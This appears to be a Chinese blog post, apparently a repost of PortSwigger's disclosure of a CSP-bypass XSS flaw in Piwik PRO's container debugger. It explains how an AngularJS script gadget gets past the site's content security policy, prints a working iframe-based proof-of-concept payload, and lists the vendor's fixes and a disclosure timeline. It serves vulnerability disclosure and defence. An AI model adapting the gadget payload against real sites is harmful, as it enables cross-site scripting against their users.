AngularJS陷阱:Piwik PRO中隐藏的CSP绕过漏洞分析

本文详细分析了Piwik PRO分析平台中一个由AngularJS引发的CSP绕过漏洞,展示了如何利用脚本小工具突破内容安全策略,并最终实现XSS攻击的全过程。

AngularJS陷阱:Piwik PRO中隐藏的CSP绕过漏洞

任何网站组件都可能危及整个站点的安全,分析平台也不例外。为确保在portswigger.net上安全部署Piwik PRO,我们对其进行了快速审计。我重点检查了DOM XSS等客户端问题,因为引入新脚本资源最可能带来此类漏洞。

漏洞发现过程

  1. 初始探测
    启用DOM Invader工具注入测试标记未获结果,但将标记值设为空白后,成功观测到包括document.write()和多个innerHTML赋值在内的全部接收器。

  2. 调试接口暴露
    通过堆栈跟踪发现调试标志,添加该参数后出现分析调试器界面。检查发现该界面使用AngularJS框架(通过ng-app事件识别)。

  3. CSP绕过机制
    AngularJS存在已知的脚本小工具可绕过内容安全策略:

    • 利用ng-focus非标准事件绕过CSP限制
    • 通过composedPath()获取窗口对象数组
    • orderBy过滤器遍历数组最终触发Array.from()间接执行alert

漏洞验证代码

1
2
3
4
5
document.body.innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src=https://ps.containers.piwik.pro/container-debugger/vendor.js></script>
<script src=https://ps.containers.piwik.pro/container-debugger/scripts.js></script>
<script src=https://ps.containers.piwik.pro/container-debugger/templates.cache.js></script>
<input autofocus ng-focus=$event.composedPath()|orderBy:'[].constructor.from([1],alert)'></div>">`

修复方案

Piwik PRO采取以下措施:

  1. 收紧CSP策略,从允许整个域改为仅允许特定JS文件
  2. 对关键脚本使用nonce值,防止攻击者注入AngularJS资源

时间线

  • 2023年3月2日 10:51 报告漏洞
  • 2023年3月3日 13:09 漏洞确认
  • 2023年3月7日 12:24 更新CSP部署指南
  • 2023年4月28日 13:00 发布技术分析
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计